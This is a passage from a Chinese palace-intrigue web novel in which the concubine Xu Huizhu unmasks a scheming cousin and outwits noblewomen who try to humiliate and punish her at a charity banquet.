“荣慧姑娘,你说,凝玉公主要是知道,你明面献计
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,暗里借凝玉公主的手除掉我,然后独占将军,凝玉公主会不会发疯呢?”
“不知,荣慧姑娘可承得起凝玉公主的怒火?可受得住凝玉公主的报复?”
“也是,荣慧姑娘打小在眉县那种小地方长大,可能对凝玉公主的性情不明......”
荣慧惊了一跳。
计划明明夭折,徐慧珠如何得知?
不,不能承认。
她不信,徐慧珠能拿得出证据。
她还未来得及行事,自然没留下什么痕迹。
“慧珠表姐,我......我听不懂你在说什么。”
“如你所说,我自小生活在眉县,哪见过凝玉公主,更不识叶侯府的世子。”
“再说,你是我的表姐,我怎么会帮着外人害你。”
“于我有什么好处?”
荣慧嘴上解释,一双桃花眼湿漉漉地,时不时盯着姜夜沉。
“我承认,我是爱慕着将军,奢望能陪伴在将军身侧......我原本想着,豁出脸面向将军表白,求慧珠表姐容我......”
“只是,我没想到,慧珠表姐你为了赶走我,竟......竟不惜往自个儿身上泼脏水......”
“也是,慧珠表姐你说到底是将军的妾室,倒不必端着宽容贤惠的品质。”
“嫉妒......也是能理解。”
“不过,将军着实辛苦......”
徐慧珠和姜夜沉对视一眼,齐整无声:无语!
荣慧故意这么说,就是要当姜夜沉的面,现揭徐慧珠的“真面目”。
就算姜夜沉一时不信,也会在他的心里,埋下一颗怀疑的种子。
更为关键的是,她终于借此机会,向姜夜沉表白心迹。
她,心悦他。
她,爱慕他。
她,痴缠他。
“将军......”荣慧的泪珠,落了下来。
“人们常说,窈窕淑女君子好逑。其实,英雄儿郎,女子同样好逑。”
“将军,对我来说,爱慕着你,是一件特别幸福的事情......”
再说下去,姜夜沉要吐了。
姜夜沉微皱眉头,看着徐慧珠,眼神**。
“荣慧姑娘,忘了告知你,夜莺**,不,我是不是该叫你一声云晗妹妹。”
“别来无恙啊,云晗妹妹。”
第093章:新人不过替身尔尔
徐慧珠也欣赏够荣慧,不,是徐云晗的表演。
为攀登姜夜沉这座山峰,徐云晗不惜给自己换一张脸。
也是豁得出去。
“徐慧珠,你......你?”
徐云晗踉跄后退。
不能接受。
为何?
徐慧珠是她的克星不成?为克她而来?
她布的局,一向成事。
唯独,败在徐慧珠的手里。
不,有些局,她刚谋划,还未来得及动作。
却,一次又一次夭折。
为何会这样?
“云晗妹妹是不是想问我,何时发现?”徐慧珠站起身,逼向徐云晗。
“我早就知道了呀,因为,是将军告诉我的。”
徐慧珠满眼鄙夷,嘲讽徐晓晗的愚蠢,“晓晗妹妹,你瞧......”
“将军懒得看你一眼,心里更无你的位置,倒是你,自作多情,平白惹人笑话。”
“徐-慧-珠,你......你?”这一刻,徐晓晗只想杀了眼前的**。
对,徐慧珠就是一个不折不扣的**。
徐慧珠不给徐云晗说话的机会,“我来,是告知云晗妹妹一声,现下有三条路可行:一是,送云晗妹妹回宋家,毕竟你同宋世茂配对阴魂,已是宋少夫人。”
“对了,宋鸿失手推倒宋夫人,害的宋夫人当场丧命,宋鸿以大半家财买断牢狱刑罚。”
“想必以晓晗妹妹的过人手段,定能成功勾引宋鸿,从宋少夫人晋升为宋夫人。”
“倒是一桩佳话美谈。”
“二是,以荣慧姑娘的身份,嫁给谨郡王,当尊贵的郡王妃。”
“看在你我同根血缘的情分上,我便好心提醒荣慧姑娘一回,嫁入郡王府后,仔细打探上一位郡王妃的死因,或能保命。”
“三是,我现在就杀了你,然后把你的尸身扔到乱葬岗,让野狗野狼分食。”
“荣慧姑娘,或是晓晗妹妹,你做好准备......**了吗?”
**诛心,摧心毁魂,徐慧珠这招用得炉火纯青。
再说,姜夜沉恶心了谨郡王,那她也尽一份力,让这份恶心持续发挥效用。
夫唱妇随嘛。
钦天监合完谨郡王和眉县荣家嫡长女荣慧的生辰八字,毫无意外,天作之合。
不合也得合。
最近的良辰吉日,就在半月内。
错过,得等一年后。
局中之人,没人等得起。
虽说大婚时间仓促,若是由经验丰富的内务府操办,准备一场风光浩大的婚礼,也不算难事。
这一道圣旨,谨郡王入宫求一求,就能求来。
但,谨郡王这时先是上演一场追忆亡妻的戏,亡人托梦:新人不过替身尔尔,盼君勿忘旧时情。
不知他如何同荣传钥商议,最终的结果是,谨郡王不必下聘礼,荣家无需陪嫁妆,婚礼一应事宜也省了,在吉日的夜里,荣慧坐着一顶轿子入了郡王府。
从此,便是郡王妃。
继郡王妃。
正当世人嘲讽谨郡王抠门、眉县荣家窝囊之时,谨郡王捐出原本大婚该花销的银子一万两,荣家紧随其后捐出五千两,用于华阳县灾民重建家园。
一时间,谨郡王和荣家大出风头,赞声一片。
谨郡王谦虚,将功劳奉给太子,“太子殿下得知华阳县百姓因雨灾流离失所,捐银三万两,还自请以万金之躯亲赴华阳县赈灾,此等高尚品质,不愧为我安国储君。”
“太子殿下说,百姓受苦,朝廷有责,身为国之储君理当身先士卒。”
“本郡王亦是李氏皇族的一员,同样肩负一份责任。”
“在百姓受苦受难时,本郡王怎能心安理得举办奢华婚礼......”
有谨郡王忙活着为太子造势,太子向皇帝上了一道请罪折子,接着请旨去华阳县赈灾。
为此,太子不惜搬出太子妃。
太子妃陈沅沅,正是华阳人士。
于公,太子爱民重民。
于私,这是太子深爱太子妃的表现,哪怕太子妃已大去,情爱不相移。
“太子不要脸,真真是不要脸。”
“他......他怎么能厚颜无耻说出深爱太子妃的话,怎么能云淡风轻利用**?”
徐慧珠今日去醉仙戏楼听戏,结果,装了一肚子怨气。
“将军,你也帮了太子?”
徐慧珠很生气。
有气不能憋着,便冲姜夜沉发泄。
夫妻一体。
谨郡王之所以忍着恶心,以郡王妃为代价,替姜夜沉处理荣慧这朵烂桃花,为的就是“救出”太子。
谨郡王提出的条件,就是让姜夜沉在适当之机,出一份力。
本就是一笔生意,没道理谨郡王只单方面付出诚意,姜夜沉却无动于衷。
若当真如此,日后,姜夜沉就失了诚信。
道理不必姜夜沉细说,徐慧珠都懂,也
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想得通透这其中的弯弯绕绕。
可,徐慧珠就是怒难消意难平。
谨郡王不仅要救出太子,还要帮太子重新回归权力中心。
“将军就不怕远在南疆的陈青阳心寒?不怕陈沅沅灵魂不宁?不怕......我生气吗?”
徐慧珠说话的语气,如同上峰在质问下属为何办事不力。
说来,她同姜夜沉的相处,大多时候在讨论正事,像极战场上配合杀敌的“兄弟”。
当然,也有亲密的时候,就是每晚她得发挥陪睡效用,姜夜沉的手,不安分地将她的身子摸了一遍又一遍。
也只有在夜里,在床榻上,他们像一会儿“夫妻”。
“皇上不可能一直禁足太子,华阳县赈灾不过是解太子禁足的借口。”
姜夜沉并未求情,只在太子请旨亲去华阳县赈灾之时,建议大皇子和谨郡王随行协助。
如此,华阳县一行,必定热闹。
徐慧珠何尝不知,以她之力,背后吐槽、咒骂太子,不过因为姜夜沉纵着护着。
她才敢放肆。
姜夜沉保证太子此行华阳县,意气风发而去,脱一层皮归来。
徐慧珠自是信的。
姜夜沉对太子的厌恶,不比她少。
先不说旁的恩怨,就是横着陈沅沅的一条命,谁也越不过此仇此恨。
荣传钥入京后,徐桂珍继续赖在将军府,就更不合规矩了。
总不能,荣传钥也住进将军府,把将军府当作眉县荣家在京城的别院?
哪成想,离府在际,徐桂珍仍不死心,竟拖着受伤的腰求到徐慧珠的面前,妄想动之以情晓之以理,说服徐慧珠做主留下荣婷。
“慧珠啊,我是你的亲亲姑母,自是一心为你打算,这偌大的将军府后宅,只有你一人也是孤独冷清,就让荣婷留在你的身边,陪你说说话,解解闷。”
“姑母不是逼你,待你何时想通,再给荣婷一个名份。”
“到时,就算有人往将军府后宅塞人,你就拿荣婷当借口,回绝也容易。”
“姑母私下问过荣婷,那丫头说喜欢慧珠表姐。慧珠,你且放心,荣婷的性子不争不抢,绝做不出与你争宠**那样的事情......”
徐慧珠想不明白,徐桂珍为何铁了心上赶着送荣婷来将军府做妾,而不是为荣婷选一个品行优秀的儿郎,嫁过去做正妻?
何况,徐桂珍明明知晓......
第094章:卖女为妾
徐桂珍明明知晓,姜夜沉不能人道。
“敢问荣夫人一个问题,荣婷姑娘是你怀胎十月所生?”
“还是哪位妾室得罪荣夫人,荣夫人为报复这位妾室,抢了人家的女儿养大?”
徐慧珠直接打断徐桂珍没完没了的废话,她之所以听,也是看在荣婷的脸面上。
那个胆小如兔的姑娘,若是任由荣夫人卖掉,倒是可怜。
“徐慧珠,你......你......”
徐桂珍脸上原本挂着的假笑,此刻也挂不住。
她细细碎碎讲了那么多道理,说了那么多软话,难道让她这个长辈下跪求徐慧珠吗?
“荣婷自然是我十月怀胎生下的亲女,慧珠这样问我,实属不应该。”
徐桂珍只得先忍着。
只要荣婷能留在将军府,她......万话皆能受,万事皆能忍。
徐慧珠笑的讽刺,“我还是头一回见识,这世上当真有亲生母亲不顾女儿意愿,卖女为妾。”
“荣夫人,你让我......大开眼界啊。”
徐桂珍先前受荣慧的气,如今受徐慧珠的嘲讽,她觉得腰部受伤的地方,更痛了。
坐也不是,站也不成。
“慧珠啊,姑母......姑母当真是为你考虑。”
徐桂珍不死心,仍垂死挣扎。
殊不知,她越挣扎,越显得虚伪可笑。
徐慧珠看她,犹如欣赏戏台上的丑角,出尽洋相,博观众一笑。
徐慧珠的私心,就是容徐桂珍蹦跶,好给徐从德添堵。
二十年前的旧事,徐从德当真放下了吗?
当初,荣家出事的急,没等徐从德做什么,整个荣家被先皇一道旨意贬至眉县。
从此,远离京城。
那时的徐从德,正是少年意气风发之时,心中明白,前途比什么都重要。
不论荣传钥,还是徐桂珍,都不值得徐从德同他们鱼死网破。
若一生不见,便可当作从未发生,或遗忘了。
偏偏,徐桂珍回京,荣传钥也回来了。
姜夜沉夸她,心善人美,她就好心帮徐桂珍一回,让他们得偿所愿留在京城,长长久久碍徐从德的眼。
乱徐从德的心。
“姑母?”徐慧珠话题突转,改口姑母。
“姑母若诚心实意为我考虑,不妨先告诉我,娘亲的事情。”
“比如,祖母、二婶和姑母当初是如何明里暗里欺负娘亲的,父亲知情吗?”
“姑母若满足我的好奇,说不得我就会满足姑母的心愿,对姑母来说是一笔划算的买卖吧。”
“当真?”徐桂珍满眼喜色,原来徐慧珠心里在意的是林月华。
早知如此捷径,她早走了。
“林月华?”
“那是个蠢的傻的,她的精神不正常......”
“徐桂珍!”徐从德人未现,声先响,“休得胡言乱语!”
徐桂珍本就做过亏心事,也畏惧徐从德的手段,听到徐从德的声音了身子一抖,说话都不利索了。
“兄......兄长?”
徐从德身后,跟着荣传钥。
他差点卡在门框上。
徐慧珠的目光落在荣传钥身上,二十多年前京城最美男子,如今大腹便便,脸胖如盆......是日日进食催肥药吗?
还是徐桂珍怕极貌美夫君“一支红杏出墙去”,故意喂肥?
徐慧珠的注意力,被吸引了。
“夫君?”
徐桂珍一见到荣传钥,声音都变了调,齁甜发腻。
“夫君,我的腰又疼了,你得空呼呼,可好?”
呕。
徐慧珠被徐桂珍恶心到了。
她赶忙从荷包取出一枚薄荷丸服下,这才压制住胃里的翻涌。
“两位......好雅兴。”
“今儿不凑巧,我待会儿陪将军去醉仙戏楼赏戏,就不留诸位用膳了。”
徐慧珠毫不客气下了逐客令。
留他们用膳,糟蹋春风酒楼的席面。
谨郡王刚大婚,就舍下美娇娘,随行太子去华阳县赈灾。
谁不夸谨郡王重责良善为民,贵夫人们倒没有那等胸怀,大多对这位新晋郡王妃持幸灾乐祸的轻视态度。
将军府宴会上发生的事情,知晓真相的贵人不少,但这真相传着传着就变了味、改了调。
说眉县荣家手段下作,为回归京城送女卖女,这不,也是好运,竟贱送给谨郡王,攀附一个郡王妃出来。
也算成果显著。
荣慧,不,现在该尊称一句“郡王妃”,为支持谨郡王,便做主操
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办一场募捐宴。
帖子送到徐慧珠的手上。
“夫人,您去吗?”
“奴婢觉得,宴无好宴,荣慧姑娘就是当了郡王妃,只怕对将军还贼心不死。”
“那个女人,是奴婢见识过的,疯子里的疯子。”
金夏对荣慧有敌意,当她得知荣慧的**时,便要提剑剁了荣慧。
以绝后患。
金夏不明,为何徐慧珠一回又一回放过曾经的徐云晗。
如今的荣慧。
“于私,郡王妃叫我一声表姐。”
“于公,郡王妃如今是皇室中人,将军得罪谨郡王事小,别有用心之人因此事挑拨将军和皇上的关系,就事大了。”
徐慧珠在宣纸上写下荣慧、凝玉公主和叶文瑞的名字,然后朱砂圈线。
在这京城,流言蜚语千万条,事关姜夜沉的八卦,长时间占据热门。
何况,将军府暗戳戳推波助澜,助其传播的更猛烈些。
徐慧珠不信,凝玉公主能日日淡定,夜夜安眠?
“再说,我若不去,她们岂不失望,戏还怎么唱下去。”
“我这只羊,就入一回虎口,亲身体验老虎的牙齿是否锋利,能不能咬断我的脖子?”
由于谨郡王不在府里,这募捐宴只邀请贵夫人携贵女参加,姜夜沉不能相陪,徐慧珠领着三金赴宴。
马车刚停在郡王府大门前,徐慧珠就听到一道熟悉的声音,“姐姐。”
“我就知道姐姐会来。”
**月这是完全转了性,抛却贵女的矜持优雅,回归本性。
也就是说,**月懒得装了。
**月麻溜爬上马车,“姐姐莫着急下车,咱们姐妹俩先说说私房话。”
在郡王府大门口说私房话?
“姐姐,给你分几张银票,待会儿看上什么,尽管竞拍,银子不够,我这里多得是。”
徐慧珠的手上多了五张银票,都是一千两面额。
足足五千两。
“明月妹妹,这银子......”
徐慧珠不能再要李氏的银子,她一不缺银子,二不愿欠李氏的人情。
五千两银票,拿在手里轻飘飘,却烫手烫心。
“姐姐不必跟我客气,你收下银票,我才好意思求你......救我的命。”
第095章:求姐姐助我毁亲
“求我?”
“救你的......命?”
不怪徐慧珠惊讶。
**月万事有李氏操心,能有何事相求于她。
“唉。”
**月娇媚的脸上染上一抹愁绪,“我如今名声狼藉,不知怎地就入了叶夫人的贵眼,非要将我和叶文瑞凑成一对。”
“先前,我没把此事放在心上,想着不必我闹,那叶文瑞眼睛长到屁股上了,心里眼里只装得下凝玉公主,做的是一心当驸马的美梦。”
“叶文瑞肯定着急,绝对大闹特闹,我坐收渔利便好。”
“果然,听说叶文瑞豁得出去,不仅把自己折腾得惨兮兮,还将叶夫人气病。”
“大有一副叶夫人敢强扭叶文瑞和我这两颗苦瓜,他叶文瑞就敢不要命......”
说到这里,**月话锋一歪,“呸呸呸,叶文瑞就是一只又蠢又傻的烂瓜,当谁稀罕似的。”
“就他那不怎么样的眼光,当满京城女子死光了?他爱慕凝玉公主,真真是一丘之貉。”
“哪怕世间男人绝种,我宁可自缢,或孤独终老,也不会强忍恶心,嫁给叶文瑞。”
“他,配不上如此美好的我。”
**月眨巴眼睛,自信到脸颊泛红,“姐姐,你说是不是这个理儿?”
“是是是,明月妹妹才貌双姝,叶文瑞妄想癞**吃天鹅肉,想得美。”徐慧珠手里攥着热乎乎的银票,心情大好,说话自然好听了。
这好话,她说得一点儿不亏心。
徐慧珠只远远看见叶文瑞的背影,连照面没打,话没说过,但并不妨碍她厌屋及乌。
怪就怪他眼瞎,爱慕凝玉公主。
物以类聚人以群分,能和凝玉公主凑在一起的人,品性唯有恶劣,或更恶劣的区别。
“奇怪的是,前几日叶夫人带着叶文瑞登门,叶文瑞那厮不知吃错了什么药,突然改口同意这门亲事。”
“慧珠姐姐,我宁愿相信猪能上树,也不会相信叶文瑞的真心。”
“他肯定憋着坏,要害我。”
“慧珠姐姐,我该怎么办啊。”
**月说着说着,扯住徐慧珠的衣袖,哭了。
“我正值大好年华,享受世间美好生活,万万不能被叶文瑞毁了啊。”
“我更不想困在后宅小小的四方天地里,日复一日等待夫君宠爱,最后身体和灵魂枯萎至死。”
“娘亲说了,待京城事了,她就带我回丽城......”
似是说漏了什么秘密,**月赶紧捂住嘴巴,“慧珠姐姐,求你帮我毁亲,最好让叶文瑞主动断了求娶我的念头。”
“父亲有意同叶侯府结亲吧。”徐慧珠语气肯定。
按照徐从德的性情,虽不至于同眉县荣家一般做出卖女送女的下作事来,但在儿女亲事上,首先考虑的不是儿女意愿,而是利益得失。
何况,徐从德和叶侯爷曾是同窗,又是至交好友,还政见相投。
那位叶夫人的名声挺好,除了过分溺爱叶文瑞,也算好相处了。
关键是,**月入得叶夫人的眼,还未过门就得未来婆母喜欢,谁不得夸一句**月好命好福气。
这样的家庭氛围,叶文瑞的世子身份,配**月,也够得上一段金玉良缘、天作之合的佳话。
“姐姐,你猜的真准。”**月竖起大拇指,“姐姐,我越来越发现,你和娘亲一般聪慧。”
“我现在好像懂了,娘亲为何让我从前远离你,又让我如今亲近你。”
**月后知后觉又说错了话,急急捂住嘴巴,笑的实在虚假。
“那个......姐姐?”
**月干巴巴地转移话题,“娘亲寻父亲大闹一场......”
余尽的话不用细说,李氏闹也闹了,若管用的话,不会任由**月求她。
还这么着急。
李氏为何认定,她会不忍心看着**月跳进叶文瑞那个粪坑,还是说李氏在怀疑什么?
叶文瑞一心想当驸马,说是凝玉公主身边的一条哈巴狗都不为过。
李氏疼爱**月入骨,**月又万般瞧不上叶文瑞。
在这种情况下,莫说叶文瑞是叶侯府世子,就算他是侯爷、是皇子,李氏和**月不心动、不稀罕。
偏偏,叶文瑞忽然改变主意,应下这门亲事。
不怪李氏深想,这世上,能左右叶文瑞的人,不是叶侯爷和叶夫人,而是叶文瑞放在心尖尖上、求而不得的凝玉公主。
只怕,这门亲事是凝玉公主对付徐慧珠的幌子。
谁让**月是徐慧珠的嫡妹,且两人关系亲密。
折磨**月,至少一半等同于折磨徐慧珠,能让凝玉公主心情愉悦的事情,叶文瑞牺牲一场亲事,算不得什么。
徐慧珠很快想通这里面的弯弯绕绕,她掀起帘子
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,看了一眼郡王府的牌匾,总觉得凝玉公主谋划的坏事,不仅如此。
徐从德盼着这门亲事,无非他拨打算盘之后,计算得益颇丰罢了。
他的真心?
为人子,为人夫,为人父......徐从德的真心,少得可怜。
徐慧珠神色莫名,李氏有所怀疑,倒没怪她连累**月,而是借此机会与她合作。
倒是个拥有大智慧的女子,可惜,年少懵懂时,跌倒在情爱里。
误了一生。
“好了,明月妹妹,银票我收下。”徐慧珠也不矫情,直接将银票放入荷包。
她收下银票,便是告诉李氏,这门亲事她会同李氏合力破坏。
细雨来请,“二小姐,夫人请您过去。”
徐慧珠头一回来郡王府,她不着急,在一名奴婢的引路下,走得不急不缓,欣赏郡王府里的景致。
亭台楼阁、小桥流水......倒是让人出乎意料,感叹一句谨郡王的雅兴不差。
“夫人,前面就是牡丹花亭了。”
安国世家都会在府里修建花亭,用于举办宴会。
郡王府的牡丹花厅,置身于一片牡丹花海中间。
如此美景,也是京城独一份的存在。
花亭快要坐满了。
荣慧以郡王妃的身份举办募捐宴,皇后娘娘虽未亲临,但下了懿旨夸赞荣慧,首捐一万两银子,还拿出一套珍珠头面,用于拍卖。
凝玉公主凤驾亲临,为荣慧撑腰撑脸面。
一时间,荣慧成为焦点,风头无量。
徐慧珠到达花亭时,气氛安静一瞬,又热闹起来,众人默契地同时眼瞎,似是并未瞧见徐慧珠这个大活人。
也能理解,来的都是世家贵夫人,清一色的嫡妻。
唯独徐慧珠,明明是将军府的妾室,却搞一出“妾行妻权”。
真当自己是妻了。
骂直白点,是厚颜无耻。
骂再直白点,是臭不要脸。
身为主人的荣慧正和凝玉公主说着什么,摆明了不搭理徐慧珠。
这场募捐宴,本就以凝玉公主为风向标,是得罪凝玉公主,还是得罪将军府的一个妾?
答案用选吗?
徐慧珠面上云淡风轻,她寻了一处角落坐下,一边品茶点,一边欣赏风景。
独自乐呵。
只是,她不觉得尴尬,她不愿惹人惹事,总有人不放过她......
第096章:不得宠的灵韵县主
“哎呦。”
一名鲜红衣裙的娇俏女子忽然起身,用丝帕捂住鼻子,“谁?”
“谁在释放污秽之气?”
红裙女子的目光落在徐慧珠身上,眼里尽是赤裸裸的恶意,“真是臭气熏天,祸害满园牡丹。”
徐慧珠知道,红裙女子骂的是她。
嫡妻是高贵的牡丹,她一介贱妾,不就是臭气熏天的粪料嘛。
她又不傻,听得懂。
不过,红裙女子没直接指名道姓,徐慧珠偏就不如她的意,继续品茶看景。
听不懂。
也不关心。
红裙女子恨恨瞪了徐慧珠一眼,心里一阵无力又恼怒。
她这一招指桑骂槐,旁人都听得懂,就徐慧珠无动于衷。
还是,徐慧珠听见,装作听不见。
听懂,装傻。
果然,没脸没皮到了无人能及的境界。
那就莫怪她......
“徐夫人?”红裙女子差点咬到舌头,“我好奇问一句,徐夫人早膳用得过量?”
徐慧珠放下茶盏,“你是?”
“你是谁?”
“凭什么冤枉我放屁?”
红裙女子神情僵硬,她只听见第一句“你是谁”,就不爽了。
徐慧珠何意?
她都知道徐慧珠,可徐慧珠并不认得她?
“姐姐,这位是灵韵县主,临海王的女儿。”**月出声道,“姐姐身患脸盲症,不认得灵韵县主实属正常。”
众人:......
灵韵县主禁不住看向凝玉公主,眼生疑惑,不是说这一对姐妹关系亲昵,亲昵到妹妹当众曝光姐姐的隐疾?
“临海王出身皇族正统,驻守东疆,他的女儿不应该获封郡主吗?”
“难道灵韵县主是庶出?”
“或,不得宠?”
徐慧珠淡定回击,脸上带着笑意,说出的话却是字字句句带刺,扎的灵韵县主满脸黑点。
“你......你胡说什么?”灵韵县主手指徐慧珠,气到颤抖。
荣慧接收到凝玉公主的眼神,赶忙起身,脸上挂上笑容,“慧珠表姐?”
“灵韵县主性格直爽,有什么说什么,慧珠表姐到底年长些,宴会即将开始,求慧珠表姐莫要计较,好不好?”
“不好。”徐慧珠后退一步,避开荣慧伸过来的手,“如世人皆知,我不过是将军府的妾室,不敢高攀郡王妃,也当不起郡王妃的表姐。”
“郡王妃该称呼我一声‘徐夫人’。”
荣慧面色一滞。
徐慧珠假意说自己只是姜夜沉的妾室,不配攀亲,又让荣慧叫她“徐夫人”。
徐慧珠就是故意的,故意给荣慧难堪,也借机告诉旁人,姜夜沉的态度。
“是,徐夫人。”
荣慧忍下“**”,心里想着便让徐慧珠再得意一会儿,今日募捐宴,是她和凝玉公主专门为徐慧珠操办,定让她终生难忘。
不,是她噩梦的开始。
皇后娘娘命内务府协助荣慧操办募捐宴,这回来的是依然是总管成大监。
上半场是不记名募捐,众人将银票装在统一的信封里,投进木箱,成大监会晃动木箱,打乱顺序。
如此一来,内务府在统计银票数额时,不会知晓谁募捐了多少。
徐慧珠捐了一百两,以姜夜沉的身份,徐慧珠只捐一百两银子,无疑丢姜夜沉的脸。
但,徐慧珠不觉得自己捐少了,将军府要做善事,自会寻旁的途径,将银子实打实花销出去。
而不是作秀。
募捐宴的下半场,是拍卖。
皇后娘娘拿出一套价值千金的珍珠头面打样,旁人也得亮出自己的珍贵物件。
女人嘛,几乎清一色的首饰,不是手镯,便是发簪,或是项链。
谁拿出什么,又花多少银子拍下什么,都由内务府登记在册,回头呈给皇后娘娘过目。
也是在皇后娘娘面前亮眼的机会。
“我曾在将军府小住些日子,亲眼见证将军十分宠爱慧珠表姐,不,徐夫人。”
“徐夫人定是时常得到将军赏赐名贵物件,今日也让我等开开眼界嘛。”
徐慧珠眼神示意,金夏上前,将手里捧着的盒子交给成大监。
“将军府徐夫人特奉上平安经一卷。”
众人:......
一卷平安经,书局有卖,价格不到一两银子。
灵韵县主指着徐慧珠,不顾矜持地大笑,待笑够了,嘲讽道,“徐夫人果然......大手笔。”
“不知,徐夫人这般扣索,将军
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可知情?”
荣慧前一瞬震惊,下一瞬伤心,“一卷平安经?”
“慧珠表姐,哦,不,徐夫人,你若瞧不上我这个小小的郡王妃,心里不愿赴募捐宴,便退了帖子就是,何苦这般轻视于我,羞辱于谨郡王呢。”
荣慧说着,泪珠儿落下,瞧着我见犹怜,似是受了天大的委屈。
徐慧珠自是瞧见荣慧的眼泪,心里腻歪的不行,胃里也翻涌的难受。
“郡王妃为何落泪?”
“谨郡王随行太子和大皇子去华阳县赈灾,是救百姓于苦难,是为万民谋福祉,又不是上阵杀敌,拼的是你死我活。”
“郡王妃哭的意义何在?难道盼着谨郡王出事?”
“于郡王妃有何好处?”
荣慧的泪珠儿在眼眶里打转,这下,落下是错,憋回去更难受。
不管她说什么,似是伤不得徐慧珠半分,还被徐慧珠三言两语偏离话题,掌控局面。
“虽说荣慧姑娘之所以入得谨郡王的眼,是在将军的生辰宴上,谨郡王醉酒,错把荣慧姑娘认作亡妻,行事孟浪了些......”
“不过,结局甚好,也因此成就一桩金玉良缘,想来,荣慧姑娘和谨郡王是命中注定的情缘。”
“我还担心谨郡王万一反悔,酒醒后不认账,荣慧姑娘该如何自处......”
“毕竟,这件事情发生在将军府,有人要平白无故赖上将军府......”
徐慧珠拍拍胸口,露出一抹羞愧之色,“是我小女子之心度谨郡王妃君子之腹了,惭愧惭愧啊。”
一口“郡王妃”,一声“荣慧姑娘”,贵人说话向来奉行含蓄,哪怕当面骂人,也不会直接打脸。
但,荣慧这张让人生厌的假脸,徐慧珠偏就打了。
一时间,荣慧收获目光无数。
荣慧只觉得脸皮子烧的厉害,快要着了。
如此一来,不就坐实外面的流言蜚语。
日后,她这个郡王妃还能出门吗?
“徐夫人,你......”
此刻,荣慧的脑袋里只有一个念头,就是扑过去撕烂徐慧珠的嘴。
成大监的目光落在平安经上,这字迹......莫名的熟悉,心下惊叹:是...是那位的墨宝啊。
第097章:赐夫人“人面桃花相映红”
成大监默默将盒子放在众多名贵物件中间,这样的场合,是贵人之间厮杀的战场。
与他无关。
身为奴才,少说话长眼色,方能活得久远些。
灵韵县主瞪了荣慧一眼,意思在说:无能。
看来,灵韵县主选择自动遗忘刚刚在徐慧珠面前受的“委屈”。
荣慧败下阵来,换灵韵县主上。
灵韵县主嗤笑道,“果然,老话说得在理,上不得台面的贱妾,就是给贱妾脸,贱妾也开不了染坊。”
灵韵县主毫不避讳,怨毒的目光直指徐慧珠。
她没指名道姓,却明晃晃告诉所有人,她骂的就是徐慧珠。
一口一声“贱妾”。
骂的顺溜。
灵韵县主不给徐慧珠转移话题的机会,强行拉回众人的注意力。
“我相信徐夫人如此上不得台面的行为,将军应该不知情才是。”
“听闻徐夫人如今掌事将军府,莫不是监守自盗?”
“唉,将军也是不容易,日防夜防,谁成想,家贼难防。”
徐慧珠便明白了,荣慧和灵韵县主合力,要将脏水泼到她的身上,狠狠羞辱一番,方能解她们的心头之恨。
“灵韵县主这般关心将军府,不如,灵韵县主向皇上请一道旨意,好去将军府细查账簿、清点库房?”
“还是说,灵韵县主也爱慕着将军,一心想要入将军府为妾,也要......妾行妻权?”
徐慧珠话音刚落,就瞧见一直淡定看戏的凝玉公主,脸色微变,看向灵韵县主的眼神透着冷意。
灵韵县主张口就解释,“不不不,凝玉公主,你别听那**胡说,我......我对将军是有敬仰崇拜之情,并无旁的心思。”
“我明知晓凝玉公主您对将军的情意,怎会夺您所喜所爱。”
“我没有我没有,当真没有。”
“凝玉公主,您要相信我。”
凝玉公主对姜夜沉不死心,世人皆知。
万幸她是身份贵极的皇族公主,旁人只敢私下议论,不敢将臭鸡蛋扔到她的脸上。
“闭嘴。”凝玉公主冷声道。
灵韵县主这才反应过来,自己着了徐慧珠的道。
这火,烧着烧着,终究烧到凝玉公主身上。
既然身陷大火中,谁也别想安然无恙,那就比一比,谁更皮糙肉厚经得起火烧炙烤?
徐慧珠啧啧一声,“可惜了,以灵韵县主的高贵身份和娇美容貌,给将军做妾,真真是委屈。”
“唉......”
徐慧珠这一声叹息,叹到很多人的心尖上。
姜夜沉不能人道,也不能求娶嫡妻,硬生生把姜夜沉从一块肥美嫩口的鲜肉,变成一块鸡骨头。
食之味淡,弃之不甘。
“唉,将军也是被逼无奈,将军心里苦啊。”
“当初,凝玉公主以死威胁将军只纳妾不娶妻......”
话题偏的无边无际。
三对一的局面,竟让势弱力弱的徐慧珠占据上风。
“放肆。”
凝玉公主怒呵。
“徐慧珠,你好大的胆子,竟敢出言羞辱本宫。”
“来人,赐徐慧珠人面桃花相映红。”
在京城,流传一种贵人喜好的惩罚,名字取得好听“人面桃花相映红”。
实则,会毁人的容貌。
“徐慧珠,你以为你是谁?”
“离了姜夜沉,你什么都不是。”
“你可曾想过,姜夜沉的势,你能仗多久?你就不怕自己有朝一日,死得凄惨吗?”
“不,今日本宫倒要看看,姜夜沉不在,谁能护得住你?”
凝玉公主这话也没说错,徐慧珠先前在京城贵人圈,可谓查无此人。
一朝嫁给姜夜沉后,无疑飞上枝头变凤凰。不,徐慧珠这是飞到天空变雄鹰,见着谁都要啄一口。
凝玉公主出宫前,皇后娘娘同她说了很多,不成想,她辛苦忍着憋着,还是再一回破功。
“这?”徐慧珠脸上挂上一抹虚假的急色,“凝玉公主公主且慢,还请凝玉公主明示,何故打我?”
“我......我实话实说,难道错了?”
“可......可将军教导我,要做一个诚实的人。这些话,也是将军同我说的。”
“这个时辰,将军应该在宫中,不如凝玉公主入宫寻将军,也赐将军一顿人面桃花相映红?”
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徐慧珠话音刚落,便见一名奴婢受到惊吓,手里端着的一盅汤羹稳稳洒在徐慧珠的身上。
“啊......”
奴婢噗通跪在地上,磕头求饶,一个接一个,额头立马鲜血淋淋,瞧着可怜又瘆人。
“贵人饶命,贵人赎罪,奴婢该死。”
“你的确该死。”徐慧珠看了一眼跪在地上的奴婢,黏糊糊的汤羹尽数洒在她的衣裙上,要说不是刻意为之。
太假。
这犯错之人毕竟是郡王府的奴婢,荣慧身为郡王妃只得出声,“徐夫人请见谅,就饶恕这贱婢一回,不管怎么说,也是一条活生生的命,就当......就当郡王府欠下的人情。”
荣慧说罢,狠狠瞪了一眼跪在地上的奴婢,“你怎么做事的,连一盅汤羹都端不好,我已求徐夫人饶你的贱命。”
“但为消徐夫人心里的怒火,就自断双手吧。”
“可怜见的,手是没了,至少命还在啊。”
“我的话还未说完,郡王妃便着急打断。”徐慧珠站起身,目光落在奴婢的身上,“你叫什么名字?”
“奴婢......奴婢贱名阿菊。”阿菊便是端不稳银盅的奴婢,此刻浑身抖个不停,“奴婢......”
她不想丢命,也不愿断手。
她的命,由不得她。
“好了,阿菊,别磕了,如花的容貌,毁了多可惜。”
